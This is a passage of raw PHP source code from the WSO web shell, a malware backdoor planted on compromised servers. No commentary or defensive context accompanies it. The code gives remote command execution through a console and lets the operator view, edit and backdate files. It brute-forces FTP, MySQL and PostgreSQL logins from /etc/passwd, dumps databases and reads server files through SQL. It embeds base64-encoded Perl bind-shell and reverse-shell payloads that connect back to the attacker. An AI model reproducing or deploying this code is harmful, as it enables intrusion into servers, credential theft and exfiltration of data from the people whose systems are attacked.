HEX'=> 'ascii2hex','HEX to ASCII'=> 'hex2ascii','HEX to DEC'=> 'hexdec','HEX to BIN'=> 'hex2bin','DEC to HEX'=> 'dechex','DEC to BIN'=> 'decbin','BIN to HEX'=> 'binhex','BIN to DEC'=> 'bindec','String to lower case'=> 'strtolower','String to upper case'=> 'strtoupper','Htmlspecialchars'=> 'htmlspecialchars','String length'=> 'strlen',);if(isset($_POST['ajax'])){WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'ajax',true);ob_start();if(in_array($_POST['p1'],$stringTools))echo $_POST['p1']($_POST['p2']);$temp="document.getElementById('strOutput').style.display='';document.getElementById('strOutput').innerHTML='" .addcslashes(htmlspecialchars(ob_get_clean()),"

	\'") ."';
";echo strlen($temp),"
",$temp;exit;}if(empty($_POST['ajax'])&&!empty($_POST['p1']))WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'ajax',0);wsoHeader();echo '<h1>String conversions</h1><div class=content>';echo "<form name='toolsForm' onSubmit='if(this.ajax.checked){a(null,null,this.selectTool.value,this.input.value);}else{g(null,null,this.selectTool.value,this.input.value);} return false;'><select name='selectTool'>";foreach($stringTools as $k => $v)echo "<option value='" .htmlspecialchars($v) ."'>" .$k ."</option>";echo "</select><input type='submit' value='>>'/> <input type=checkbox name=ajax value=1 " .(@$_COOKIE[md5($_SERVER['HTTP_HOST']) .'ajax']?'checked':'') ."> send using AJAX<br><textarea name='input' style='margin-top:5px' class=bigarea>" .(empty($_POST['p1'])?'':htmlspecialchars(@$_POST['p2'])) ."</textarea></form><pre class='ml1' style='" .(empty($_POST['p1'])?'display:none;':'') ."margin-top:5px' id='strOutput'>";if(!empty($_POST['p1'])){if(in_array($_POST['p1'],$stringTools))echo htmlspecialchars($_POST['p1']($_POST['p2']));}echo"</pre></div><br><h1>Search files:</h1><div class=content>
		<form onsubmit=\"g(null,this.cwd.value,null,this.text.value,this.filename.value);return false;\"><table cellpadding='1' cellspacing='0' width='50%'>
			<tr><td width='1%'>Text:</td><td><input type='text' name='text' style='width:100%'></td></tr>
			<tr><td>Path:</td><td><input type='text' name='cwd' value='" .htmlspecialchars($GLOBALS['cwd']) ."' style='width:100%'></td></tr>
			<tr><td>Name:</td><td><input type='text' name='filename' value='*' style='width:100%'></td></tr>
			<tr><td></td><td><input type='submit' value='>>'></td></tr>
			</table></form>";function wsoRecursiveGlob($path){if(substr($path,-1)!= '/')$path.='/';$paths=@array_unique(@array_merge(@glob($path .$_POST['p3']),@glob($path .'*',GLOB_ONLYDIR)));if(is_array($paths)&&@count($paths)){foreach($paths as $item){if(@is_dir($item)){if($path!=$item)wsoRecursiveGlob($item);}else{if(empty($_POST['p2'])||@strpos(file_get_contents($item),$_POST['p2'])!==false)echo "<a href='#' onclick='g(\"FilesTools\",null,\"" .urlencode($item) ."\", \"view\",\"\")'>" .htmlspecialchars($item) ."</a><br>";}}}}if(@$_POST['p3'])wsoRecursiveGlob($_POST['c']);echo "</div><br><h1>Search for hash:</h1><div class=content>
		<form method='post' target='_blank' name='hf'>
			<input type='text' name='hash' style='width:200px;'><br>
            <input type='hidden' name='act' value='find'/>
			<input type='button' value='hashcracking.ru' onclick=\"document.hf.action='https://hashcracking.ru/index.php';document.hf.submit()\"><br>
			<input type='button' value='md5.rednoize.com' onclick=\"document.hf.action='http://md5.rednoize.com/?q='+document.hf.hash.value+'&s=md5';document.hf.submit()\"><br>
            <input type='button' value='crackfor.me' onclick=\"document.hf.action='http://crackfor.me/index.php';document.hf.submit()\"><br>
		</form></div>";wsoFooter();}function actionFilesTools(){if(isset($_POST['p1']))$_POST['p1']=urldecode($_POST['p1']);if(@$_POST['p2']=='download'){if(@is_file($_POST['p1'])&&@is_readable($_POST['p1'])){ob_start("ob_gzhandler",4096);header("Content-Disposition: attachment; filename=" .basename($_POST['p1']));if(function_exists("mime_content_type")){$type=@mime_content_type($_POST['p1']);header("Content-Type: " .$type);}else header("Content-Type: application/octet-stream");$fp=@fopen($_POST['p1'],"r");if($fp){while(!@feof($fp))echo@fread($fp,1024);fclose($fp);}}exit;}if(@$_POST['p2']== 'mkfile'){if(!file_exists($_POST['p1'])){$fp=@fopen($_POST['p1'],'w');if($fp){$_POST['p2']="edit";fclose($fp);}}}wsoHeader();echo '<h1>File tools</h1><div class=content>';if(!file_exists(@$_POST['p1'])){echo 'File not exists';wsoFooter();return;}$uid=@posix_getpwuid(@fileowner($_POST['p1']));if(!$uid){$uid['name']=@fileowner($_POST['p1']);$gid['name']=@filegroup($_POST['p1']);}else $gid=@posix_getgrgid(@filegroup($_POST['p1']));echo '<span>Name:</span> ' .htmlspecialchars(@basename($_POST['p1'])) .' <span>Size:</span> ' .(is_file($_POST['p1'])?wsoViewSize(filesize($_POST['p1'])):'-') .' <span>Permission:</span> ' .wsoPermsColor($_POST['p1']) .' <span>Owner/Group:</span> ' .$uid['name'] .'/' .$gid['name'] .'<br>';echo '<span>Change time:</span> ' .date('Y-m-d H:i:s',filectime($_POST['p1'])) .' <span>Access time:</span> ' .date('Y-m-d H:i:s',fileatime($_POST['p1'])) .' <span>Modify time:</span> ' .date('Y-m-d H:i:s',filemtime($_POST['p1'])) .'<br><br>';if(empty($_POST['p2']))$_POST['p2']='view';if(is_file($_POST['p1']))$m=array('View','Highlight','Download','Hexdump','Edit','Chmod','Rename','Touch');else $m=array('Chmod','Rename','Touch');foreach($m as $v)echo '<a href=# onclick="g(null,null,\'' .urlencode($_POST['p1']) .'\',\'' .strtolower($v) .'\')">' .((strtolower($v)==@$_POST['p2'])?'<b>[ ' .$v .' ]</b>':$v) .'</a> ';echo '<br><br>';switch($_POST['p2']){case 'view':echo '<pre class=ml1>';$fp=@fopen($_POST['p1'],'r');if($fp){while(!@feof($fp))echo htmlspecialchars(@fread($fp,1024));@fclose($fp);}echo '</pre>';break;case 'highlight':if(@is_readable($_POST['p1'])){echo '<div class=ml1 style="background-color: #e1e1e1;color:black;">';$code=@highlight_file($_POST['p1'],true);echo str_replace(array('<span ','</span>'),array('<font ','</font>'),$code) .'</div>';}break;case 'chmod':if(!empty($_POST['p3'])){$perms=0;for($i=strlen($_POST['p3'])-1;$i>=0;--$i)$perms += (int)$_POST['p3'][$i]*pow(8,(strlen($_POST['p3'])-$i-1));if(!@chmod($_POST['p1'],$perms))echo 'Can\'t set permissions!<br><script>document.mf.p3.value="";</script>';}clearstatcache();echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' .urlencode($_POST['p1']) .'\',null,this.chmod.value);return false;"><input type=text name=chmod value="' .substr(sprintf('%o',fileperms($_POST['p1'])),-4) .'"><input type=submit value=">>"></form>';break;case 'edit':if(!is_writable($_POST['p1'])){echo 'File isn\'t writeable';break;}if(!empty($_POST['p3'])){$time=@filemtime($_POST['p1']);$_POST['p3']=substr($_POST['p3'],1);$fp=@fopen($_POST['p1'],"w");if($fp){@fwrite($fp,$_POST['p3']);@fclose($fp);echo 'Saved!<br><script>p3_="";</script>';@touch($_POST['p1'],$time,$time);}}echo '<form onsubmit="g(null,null,\'' .urlencode($_POST['p1']) .'\',null,\'1\'+this.text.value);return false;"><textarea name=text class=bigarea>';$fp=@fopen($_POST['p1'],'r');if($fp){while(!@feof($fp))echo htmlspecialchars(@fread($fp,1024));@fclose($fp);}echo '</textarea><input type=submit value=">>"></form>';break;case 'hexdump':$c=@file_get_contents($_POST['p1']);$n=0;$h=array('00000000<br>','','');$len=strlen($c);for($i=0;$i<$len;++$i){$h[1].= sprintf('%02X',ord($c[$i])) .' ';switch(ord($c[$i])){case 0:$h[2].= ' ';break;case 9:$h[2].= ' ';break;case 10:$h[2].= ' ';break;case 13:$h[2].= ' ';break;default:$h[2].= $c[$i];break;}$n++;if($n == 32){$n=0;if($i+1<$len){$h[0].= sprintf('%08X',$i+1) .'<br>';}$h[1].= '<br>';$h[2].= "
";}}echo '<table cellspacing=1 cellpadding=5 bgcolor=#222222><tr><td bgcolor=#333333><span style="font-weight: normal;"><pre>' .$h[0] .'</pre></span></td><td bgcolor=#282828><pre>' .$h[1] .'</pre></td><td bgcolor=#333333><pre>' .htmlspecialchars($h[2]) .'</pre></td></tr></table>';break;case 'rename':if(!empty($_POST['p3'])){if(!@rename($_POST['p1'],$_POST['p3']))echo 'Can\'t rename!<br>';else die('<script>g(null,null,"' .urlencode($_POST['p3']) .'",null,"")</script>');}echo '<form onsubmit="g(null,null,\'' .urlencode($_POST['p1']) .'\',null,this.name.value);return false;"><input type=text name=name value="' .htmlspecialchars($_POST['p1']) .'"><input type=submit value=">>"></form>';break;case 'touch':if(!empty($_POST['p3'])){$time=strtotime($_POST['p3']);if($time){if(!touch($_POST['p1'],$time,$time))echo 'Fail!';else echo 'Touched!';}else echo 'Bad time format!';}clearstatcache();echo '<script>p3_="";</script><form onsubmit="g(null,null,\'' .urlencode($_POST['p1']) .'\',null,this.touch.value);return false;"><input type=text name=touch value="' .date("Y-m-d H:i:s",@filemtime($_POST['p1'])) .'"><input type=submit value=">>"></form>';break;}echo '</div>';wsoFooter();}function actionConsole(){if(!empty($_POST['p1'])&&!empty($_POST['p2'])){WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'stderr_to_out',true);$_POST['p1'].= ' 2>&1';}elseif(!empty($_POST['p1']))WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'stderr_to_out',0);if(isset($_POST['ajax'])){WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'ajax',true);ob_start();echo "d.cf.cmd.value='';
";$temp=@iconv($_POST['charset'],'UTF-8',addcslashes("
$ " .$_POST['p1'] ."
" .wsoEx($_POST['p1']),"

	\'"));if(preg_match("!.*cd\s+([^;]+)$!",$_POST['p1'],$match)){if(@chdir($match[1])){$GLOBALS['cwd']=@getcwd();echo "c_='" .$GLOBALS['cwd'] ."';";}}echo "d.cf.output.value+='" .$temp ."';";echo "d.cf.output.scrollTop = d.cf.output.scrollHeight;";$temp=ob_get_clean();echo strlen($temp),"
",$temp;exit;}if(empty($_POST['ajax'])&&!empty($_POST['p1']))WSOsetcookie(md5($_SERVER['HTTP_HOST']) .'ajax',0);wsoHeader();echo "<script>
if(window.Event) window.captureEvents(Event.KEYDOWN);
var cmds = new Array('');
var cur = 0;
function kp(e) {
	var n = (window.Event) ? e.which : e.keyCode;
	if(n == 38) {
		cur--;
		if(cur>=0)
			document.cf.cmd.value = cmds[cur];
		else
			cur++;
	} else if(n == 40) {
		cur++;
		if(cur < cmds.length)
			document.cf.cmd.value = cmds[cur];
		else
			cur--;
	}
}
function add(cmd) {
	cmds.pop();
	cmds.push(cmd);
	cmds.push('');
	cur = cmds.length-1;
}
</script>";echo '<h1>Console</h1><div class=content><form name=cf onsubmit="if(d.cf.cmd.value==\'clear\'){d.cf.output.value=\'\';d.cf.cmd.value=\'\';return false;}add(this.cmd.value);if(this.ajax.checked){a(null,null,this.cmd.value,this.show_errors.checked?1:\'\');}else{g(null,null,this.cmd.value,this.show_errors.checked?1:\'\');} return false;"><select name=alias>';foreach($GLOBALS['aliases']as $n => $v){if($v == ''){echo '<optgroup label="-' .htmlspecialchars($n) .'-"></optgroup>';continue;}echo '<option value="' .htmlspecialchars($v) .'">' .$n .'</option>';}echo '</select><input type=button onclick="add(d.cf.alias.value);if(d.cf.ajax.checked){a(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}else{g(null,null,d.cf.alias.value,d.cf.show_errors.checked?1:\'\');}" value=">>"> <nobr><input type=checkbox name=ajax value=1 ' .(@$_COOKIE[md5($_SERVER['HTTP_HOST']) .'ajax']?'checked':'') .'> send using AJAX <input type=checkbox name=show_errors value=1 ' .(!empty($_POST['p2'])||$_COOKIE[md5($_SERVER['HTTP_HOST']) .'stderr_to_out']?'checked':'') .'> redirect stderr to stdout (2>&1)</nobr><br/><textarea class=bigarea name=output style="border-bottom:0;margin:0;" readonly>';if(!empty($_POST['p1'])){echo htmlspecialchars("$ " .$_POST['p1'] ."
" .wsoEx($_POST['p1']));}echo '</textarea><table style="border:1px solid #df5;background-color:#555;border-top:0px;" cellpadding=0 cellspacing=0 width="100%"><tr><td width="1%">$</td><td><input type=text name=cmd style="border:0px;width:100%;" onkeydown="kp(event);"></td></tr></table>';echo '</form></div><script>d.cf.cmd.focus();</script>';wsoFooter();}function actionLogout(){setcookie(md5($_SERVER['HTTP_HOST']),'',time()-3600);die('bye!');}function actionSelfRemove(){if($_POST['p1']== 'yes')if(@unlink(preg_replace('!\(\d+\)\s.*!','',__FILE__)))die('Shell has been removed');else echo 'unlink error!';if($_POST['p1']!= 'yes')wsoHeader();echo '<h1>Suicide</h1><div class=content>Really want to remove the shell?<br><a href=# onclick="g(null,null,\'yes\')">Yes</a></div>';wsoFooter();}function actionBruteforce(){wsoHeader();if(isset($_POST['proto'])){echo '<h1>Results</h1><div class=content><span>Type:</span> ' .htmlspecialchars($_POST['proto']) .' <span>Server:</span> ' .htmlspecialchars($_POST['server']) .'<br>';if($_POST['proto']== 'ftp'){function wsoBruteForce($ip,$port,$login,$pass){$fp=@ftp_connect($ip,$port?$port:21);if(!$fp)return false;$res=@ftp_login($fp,$login,$pass);@ftp_close($fp);return $res;}}elseif($_POST['proto']== 'mysql'){function wsoBruteForce($ip,$port,$login,$pass){$res=@mysql_connect($ip .':' .($port?$port:3306),$login,$pass);@mysql_close($res);return $res;}}elseif($_POST['proto']== 'pgsql'){function wsoBruteForce($ip,$port,$login,$pass){$str="host='" .$ip ."' port='" .$port ."' user='" .$login ."' password='" .$pass ."' dbname=postgres";$res=@pg_connect($str);@pg_close($res);return $res;}}$success=0;$attempts=0;$server=explode(":",$_POST['server']);if($_POST['type']== 1){$temp=@file('/etc/passwd');if(is_array($temp))foreach($temp as $line){$line=explode(":",$line);++$attempts;if(wsoBruteForce(@$server[0],@$server[1],$line[0],$line[0])){$success++;echo '<b>' .htmlspecialchars($line[0]) .'</b>:' .htmlspecialchars($line[0]) .'<br>';}if(@$_POST['reverse']){$tmp="";for($i=strlen($line[0])-1;$i>=0;--$i)$tmp .= $line[0][$i];++$attempts;if(wsoBruteForce(@$server[0],@$server[1],$line[0],$tmp)){$success++;echo '<b>' .htmlspecialchars($line[0]) .'</b>:' .htmlspecialchars($tmp);}}}}elseif($_POST['type']== 2){$temp=@file($_POST['dict']);if(is_array($temp))foreach($temp as $line){$line=trim($line);++$attempts;if(wsoBruteForce($server[0],@$server[1],$_POST['login'],$line)){$success++;echo '<b>' .htmlspecialchars($_POST['login']) .'</b>:' .htmlspecialchars($line) .'<br>';}}}echo"<span>Attempts:</span> $attempts <span>Success:</span> $success</div><br>";}echo '<h1>Bruteforce</h1><div class=content><table><form method=post><tr><td><span>Type</span></td>' .'<td><select name=proto><option value=ftp>FTP</option><option value=mysql>MySql</option><option value=pgsql>PostgreSql</option></select></td></tr><tr><td>' .'<input type=hidden name=c value="' .htmlspecialchars($GLOBALS['cwd']) .'">' .'<input type=hidden name=a value="' .htmlspecialchars($_POST['a']) .'">' .'<input type=hidden name=charset value="' .htmlspecialchars($_POST['charset']) .'">' .'<span>Server:port</span></td>' .'<td><input type=text name=server value="127.0.0.1"></td></tr>' .'<tr><td><span>Brute type</span></td>' .'<td><label><input type=radio name=type value="1" checked> /etc/passwd</label></td></tr>' .'<tr><td></td><td><label style="padding-left:15px"><input type=checkbox name=reverse value=1 checked> reverse (login -> nigol)</label></td></tr>' .'<tr><td></td><td><label><input type=radio name=type value="2"> Dictionary</label></td></tr>' .'<tr><td></td><td><table style="padding-left:15px"><tr><td><span>Login</span></td>' .'<td><input type=text name=login value="root"></td></tr>' .'<tr><td><span>Dictionary</span></td>' .'<td><input type=text name=dict value="' .htmlspecialchars($GLOBALS['cwd']) .'passwd.dic"></td></tr></table>' .'</td></tr><tr><td></td><td><input type=submit value=">>"></td></tr></form></table>';echo '</div><br>';wsoFooter();}function actionSql(){class DbClass{var $type;var $link;var $res;function DbClass($type){$this->type=$type;}function connect($host,$user,$pass,$dbname){switch($this->type){case 'mysql':if($this->link=@mysql_connect($host,$user,$pass,true))return true;break;case 'pgsql':$host=explode(':',$host);if(!$host[1])$host[1]=5432;if($this->link=@pg_connect("host={$host[0]} port={$host[1]} user=$user password=$pass dbname=$dbname"))return true;break;}return false;}function selectdb($db){switch($this->type){case 'mysql':if(@mysql_select_db($db))return true;break;}return false;}function query($str){switch($this->type){case 'mysql':return $this->res=@mysql_query($str);break;case 'pgsql':return $this->res=@pg_query($this->link,$str);break;}return false;}function fetch(){$res=func_num_args()?func_get_arg(0):$this->res;switch($this->type){case 'mysql':return@mysql_fetch_assoc($res);break;case 'pgsql':return@pg_fetch_assoc($res);break;}return false;}function listDbs(){switch($this->type){case 'mysql':return $this->query("SHOW databases");break;case 'pgsql':return $this->res=$this->query("SELECT datname FROM pg_database WHERE datistemplate!='t'");break;}return false;}function listTables(){switch($this->type){case 'mysql':return $this->res=$this->query('SHOW TABLES');break;case 'pgsql':return $this->res=$this->query("select table_name from information_schema.tables where table_schema != 'information_schema' AND table_schema != 'pg_catalog'");break;}return false;}function error(){switch($this->type){case 'mysql':return@mysql_error();break;case 'pgsql':return@pg_last_error();break;}return false;}function setCharset($str){switch($this->type){case 'mysql':if(function_exists('mysql_set_charset'))return@mysql_set_charset($str,$this->link);else $this->query('SET CHARSET ' .$str);break;case 'pgsql':return@pg_set_client_encoding($this->link,$str);break;}return false;}function loadFile($str){switch($this->type){case 'mysql':return $this->fetch($this->query("SELECT LOAD_FILE('" .addslashes($str) ."') as file"));break;case 'pgsql':$this->query("CREATE TABLE wso2(file text);COPY wso2 FROM '" .addslashes($str) ."';select file from wso2;");$r=array();while($i=$this->fetch())$r[]=$i['file'];$this->query('drop table wso2');return array('file'=>implode("
",$r));break;}return false;}function dump($table,$fp=false){switch($this->type){case 'mysql':$res=$this->query('SHOW CREATE TABLE `' .$table .'`');$create=mysql_fetch_array($res);$sql=$create[1] .";
";if($fp)fwrite($fp,$sql);else echo($sql);$this->query('SELECT * FROM `' .$table .'`');$i=0;$head=true;while($item=$this->fetch()){$sql='';if($i%1000 == 0){$head=true;$sql=";

";}$columns=array();foreach($item as $k=>$v){if($v === null)$item[$k]="NULL";elseif(is_int($v))$item[$k]=$v;else $item[$k]="'" .@mysql_real_escape_string($v) ."'";$columns[]="`" .$k ."`";}if($head){$sql .= 'INSERT INTO `' .$table .'` (' .implode(", ",$columns) .") VALUES 
	(" .implode(", ",$item) .')';$head=false;}else $sql .= "
	,(" .implode(", ",$item) .')';if($fp)fwrite($fp,$sql);else echo($sql);$i++;}if(!$head)if($fp)fwrite($fp,";

");else echo(";

");break;case 'pgsql':$this->query('SELECT * FROM ' .$table);while($item=$this->fetch()){$columns=array();foreach($item as $k=>$v){$item[$k]="'" .addslashes($v) ."'";$columns[]=$k;}$sql='INSERT INTO ' .$table .' (' .implode(", ",$columns) .') VALUES (' .implode(", ",$item) .');' ."
";if($fp)fwrite($fp,$sql);else echo($sql);}break;}return false;}};$db=new DbClass($_POST['type']);if((@$_POST['p2']=='download')&&(@$_POST['p1']!='select')){$db->connect($_POST['sql_host'],$_POST['sql_login'],$_POST['sql_pass'],$_POST['sql_base']);$db->selectdb($_POST['sql_base']);switch($_POST['charset']){case "Windows-1251":$db->setCharset('cp1251');break;case "UTF-8":$db->setCharset('utf8');break;case "KOI8-R":$db->setCharset('koi8r');break;case "KOI8-U":$db->setCharset('koi8u');break;case "cp866":$db->setCharset('cp866');break;}if(empty($_POST['file'])){ob_start("ob_gzhandler",4096);header("Content-Disposition: attachment; filename=dump.sql");header("Content-Type: text/plain");foreach($_POST['tbl']as $v)$db->dump($v);exit;}elseif($fp=@fopen($_POST['file'],'w')){foreach($_POST['tbl']as $v)$db->dump($v,$fp);fclose($fp);unset($_POST['p2']);}else die('<script>alert("Error! Can\'t open file");window.history.back(-1)</script>');}wsoHeader();echo "
<h1>Sql browser</h1><div class=content>
<form name='sf' method='post' onsubmit='fs(this);'><table cellpadding='2' cellspacing='0'><tr>
<td>Type</td><td>Host</td><td>Login</td><td>Password</td><td>Database</td><td></td></tr><tr>
<input type=hidden name=a value=Sql><input type=hidden name=p1 value='query'><input type=hidden name=p2 value=''><input type=hidden name=c value='" .htmlspecialchars($GLOBALS['cwd']) ."'><input type=hidden name=charset value='" .(isset($_POST['charset'])?$_POST['charset']:'') ."'>
<td><select name='type'><option value='mysql' ";if(@$_POST['type']=='mysql')echo 'selected';echo ">MySql</option><option value='pgsql' ";if(@$_POST['type']=='pgsql')echo 'selected';echo ">PostgreSql</option></select></td>
<td><input type=text name=sql_host value=\"" .(empty($_POST['sql_host'])?'localhost':htmlspecialchars($_POST['sql_host'])) ."\"></td>
<td><input type=text name=sql_login value=\"" .(empty($_POST['sql_login'])?'root':htmlspecialchars($_POST['sql_login'])) ."\"></td>
<td><input type=text name=sql_pass value=\"" .(empty($_POST['sql_pass'])?'':htmlspecialchars($_POST['sql_pass'])) ."\"></td><td>";$tmp="<input type=text name=sql_base value=''>";if(isset($_POST['sql_host'])){if($db->connect($_POST['sql_host'],$_POST['sql_login'],$_POST['sql_pass'],$_POST['sql_base'])){switch($_POST['charset']){case "Windows-1251":$db->setCharset('cp1251');break;case "UTF-8":$db->setCharset('utf8');break;case "KOI8-R":$db->setCharset('koi8r');break;case "KOI8-U":$db->setCharset('koi8u');break;case "cp866":$db->setCharset('cp866');break;}$db->listDbs();echo "<select name=sql_base><option value=''></option>";while($item=$db->fetch()){list($key,$value)=each($item);echo '<option value="' .$value .'" ' .($value==$_POST['sql_base']?'selected':'') .'>' .$value .'</option>';}echo '</select>';}else echo $tmp;}else echo $tmp;echo "</td>
				<td><input type=submit value='>>' onclick='fs(d.sf);'></td>
                <td><input type=checkbox name=sql_count value='on'" .(empty($_POST['sql_count'])?'':' checked') ."> count the number of rows</td>
			</tr>
		</table>
		<script>
            s_db='" .@addslashes($_POST['sql_base']) ."';
            function fs(f) {
                if(f.sql_base.value!=s_db) { f.onsubmit = function() {};
                    if(f.p1) f.p1.value='';
                    if(f.p2) f.p2.value='';
                    if(f.p3) f.p3.value='';
                }
            }
			function st(t,l) {
				d.sf.p1.value = 'select';
				d.sf.p2.value = t;
                if(l && d.sf.p3) d.sf.p3.value = l;
				d.sf.submit();
			}
			function is() {
				for(i=0;i<d.sf.elements['tbl[]'].length;++i)
					d.sf.elements['tbl[]'][i].checked = !d.sf.elements['tbl[]'][i].checked;
			}
		</script>";if(isset($db)&& $db->link){echo "<br/><table width=100% cellpadding=2 cellspacing=0>";if(!empty($_POST['sql_base'])){$db->selectdb($_POST['sql_base']);echo "<tr><td width=1 style='border-top:2px solid #666;'><span>Tables:</span><br><br>";$tbls_res=$db->listTables();while($item=$db->fetch($tbls_res)){list($key,$value)=each($item);if(!empty($_POST['sql_count']))$n=$db->fetch($db->query('SELECT COUNT(*) as n FROM ' .$value .''));$value=htmlspecialchars($value);echo "<nobr><input type='checkbox' name='tbl[]' value='" .$value ."'>&nbsp;<a href=# onclick=\"st('" .$value ."',1)\">" .$value ."</a>" .(empty($_POST['sql_count'])?'&nbsp;':" <small>({$n['n']})</small>") ."</nobr><br>";}echo "<input type='checkbox' onclick='is();'> <input type=button value='Dump' onclick='document.sf.p2.value=\"download\";document.sf.submit();'><br>File path:<input type=text name=file value='dump.sql'></td><td style='border-top:2px solid #666;'>";if(@$_POST['p1']== 'select'){$_POST['p1']='query';$_POST['p3']=$_POST['p3']?$_POST['p3']:1;$db->query('SELECT COUNT(*) as n FROM ' .$_POST['p2']);$num=$db->fetch();$pages=ceil($num['n']/30);echo "<script>d.sf.onsubmit=function(){st(\"" .$_POST['p2'] ."\", d.sf.p3.value)}</script><span>" .$_POST['p2'] ."</span> ({$num['n']} records) Page # <input type=text name='p3' value=" .((int)$_POST['p3']) .">";echo" of $pages";if($_POST['p3']>1)echo " <a href=# onclick='st(\"" .$_POST['p2'] .'", ' .($_POST['p3']-1) .")'>&lt; Prev</a>";if($_POST['p3']<$pages)echo " <a href=# onclick='st(\"" .$_POST['p2'] .'", ' .($_POST['p3']+1) .")'>Next &gt;</a>";$_POST['p3']--;if($_POST['type']=='pgsql')$_POST['p2']='SELECT * FROM ' .$_POST['p2'] .' LIMIT 30 OFFSET ' .($_POST['p3']*30);else $_POST['p2']='SELECT * FROM `' .$_POST['p2'] .'` LIMIT ' .($_POST['p3']*30) .',30';echo "<br><br>";}if((@$_POST['p1']== 'query')&&!empty($_POST['p2'])){$db->query(@$_POST['p2']);if($db->res !== false){$title=false;echo '<table width=100% cellspacing=1 cellpadding=2 class=main style="background-color:#292929">';$line=1;while($item=$db->fetch()){if(!$title){echo '<tr>';foreach($item as $key => $value)echo '<th>' .$key .'</th>';reset($item);$title=true;echo '</tr><tr>';$line=2;}echo '<tr class="l' .$line .'">';$line=$line==1?2:1;foreach($item as $key => $value){if($value == null)echo '<td><i>null</i></td>';else echo '<td>' .nl2br(htmlspecialchars($value)) .'</td>';}echo '</tr>';}echo '</table>';}else{echo '<div><b>Error:</b> ' .htmlspecialchars($db->error()) .'</div>';}}echo "<br></form><form onsubmit='d.sf.p1.value=\"query\";d.sf.p2.value=this.query.value;document.sf.submit();return false;'><textarea name='query' style='width:100%;height:100px'>";if(!empty($_POST['p2'])&&($_POST['p1']!= 'loadfile'))echo htmlspecialchars($_POST['p2']);echo "</textarea><br/><input type=submit value='Execute'>";echo "</td></tr>";}echo "</table></form><br/>";if($_POST['type']=='mysql'){$db->query("SELECT 1 FROM mysql.user WHERE concat(`user`, '@', `host`) = USER() AND `File_priv` = 'y'");if($db->fetch())echo "<form onsubmit='d.sf.p1.value=\"loadfile\";document.sf.p2.value=this.f.value;document.sf.submit();return false;'><span>Load file</span> <input  class='toolsInp' type=text name=f><input type=submit value='>>'></form>";}if(@$_POST['p1']== 'loadfile'){$file=$db->loadFile($_POST['p2']);echo '<br/><pre class=ml1>' .htmlspecialchars($file['file']) .'</pre>';}}else{echo htmlspecialchars($db->error());}echo '</div>';wsoFooter();}function actionNetwork(){wsoHeader();$back_connect_p="IyEvdXNyL2Jpbi9wZXJsDQp1c2UgU29ja2V0Ow0KJGlhZGRyPWluZXRfYXRvbigkQVJHVlswXSkgfHwgZGllKCJFcnJvcjogJCFcbiIpOw0KJHBhZGRyPXNvY2thZGRyX2luKCRBUkdWWzFdLCAkaWFkZHIpIHx8IGRpZSgiRXJyb3I6ICQhXG4iKTsNCiRwcm90bz1nZXRwcm90b2J5bmFtZSgndGNwJyk7DQpzb2NrZXQoU09DS0VULCBQRl9JTkVULCBTT0NLX1NUUkVBTSwgJHByb3RvKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpjb25uZWN0KFNPQ0tFVCwgJHBhZGRyKSB8fCBkaWUoIkVycm9yOiAkIVxuIik7DQpvcGVuKFNURElOLCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RET1VULCAiPiZTT0NLRVQiKTsNCm9wZW4oU1RERVJSLCAiPiZTT0NLRVQiKTsNCnN5c3RlbSgnL2Jpbi9zaCAtaScpOw0KY2xvc2UoU1RESU4pOw0KY2xvc2UoU1RET1VUKTsNCmNsb3NlKFNUREVSUik7";$bind_port_p="IyEvdXNyL2Jpbi9wZXJsDQokU0hFTEw9Ii9iaW4vc2ggLWkiOw0KaWYgKEBBUkdWIDwgMSkgeyBleGl0KDEpOyB9DQp1c2UgU29ja2V0Ow0Kc29ja2V0KFMsJlBGX0lORVQsJlNPQ0tfU1RSRUFNLGdldHByb3RvYnluYW1lKCd0Y3AnKSkgfHwgZGllICJDYW50IGNyZWF0ZSBzb2NrZXRcbiI7DQpzZXRzb2Nrb3B0KFMsU09MX1NPQ0tFVCxTT19SRVVTRUFERFIsMSk7DQpiaW5kKFMsc29ja2FkZHJfaW4oJEFSR1ZbMF0sSU5BRERSX0FOWSkpIHx8IGRpZSAiQ2FudCBvcGVuIHBvcnRcbiI7DQpsaXN0ZW4oUywzKSB8fCBkaWUgIkNhbnQgbGlzdGVuIHBvcnRcbiI7DQp3aGlsZSgxKSB7DQoJYWNjZXB0KENPTk4sUyk7DQoJaWYoISgkcGlkPWZvcmspKSB7DQoJCWRpZSAiQ2Fubm90IGZvcmsiIGlmICghZGVmaW5lZCAkcGlkKTsNCgkJb3BlbiBTVERJTiwiPCZDT05OIjsNCgkJb3BlbiBTVERPVVQsIj4mQ09OTiI7DQoJCW9wZW4gU1RERVJSLCI+JkNPTk4iOw0KCQlleGVjICRTSEVMTCB8fCBkaWUgcHJpbnQgQ09OTiAiQ2FudCBleGVjdXRlICRTSEVMTFxuIjsNCgkJY2xvc2UgQ09OTjsNCgkJZXhpdCAwOw0KCX0NCn0=";echo "<h1>Network tools</h1><div class=content>
	<form name='nfp' onSubmit=\"g(null,null,'bpp',this.port.value);return false;\">
	<span>Bind port to /bin/sh [perl]</span><br/>
	Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form>
	<form name='nfp' onSubmit=\"g(null,null,'bcp',this.server.value,this.port.value);return false;\">
	<span>Back-connect  [perl]</span><br/>
	Server: <input type='text' name='server' value='" .$_SERVER['REMOTE_ADDR'] ."'> Port: <input type='text' name='port' value='31337'> <input type=submit value='>>'>
	</form><br>";if(isset($_POST['p1'])){function cf($f,$t){$w=@fopen($f,"w")or@function_exists('file_put_contents');if($w){@fwrite($w,base64_decode($t));@fclose($w);}}if($_POST['p1']== 'bpp'){cf("/tmp/bp.pl",$bind_port_p);$out=wsoEx("perl /tmp/bp.pl " .$_POST['p2'] ." 1>/dev/null 2>&1 &");sleep(1);echo"<pre class=ml1>$out
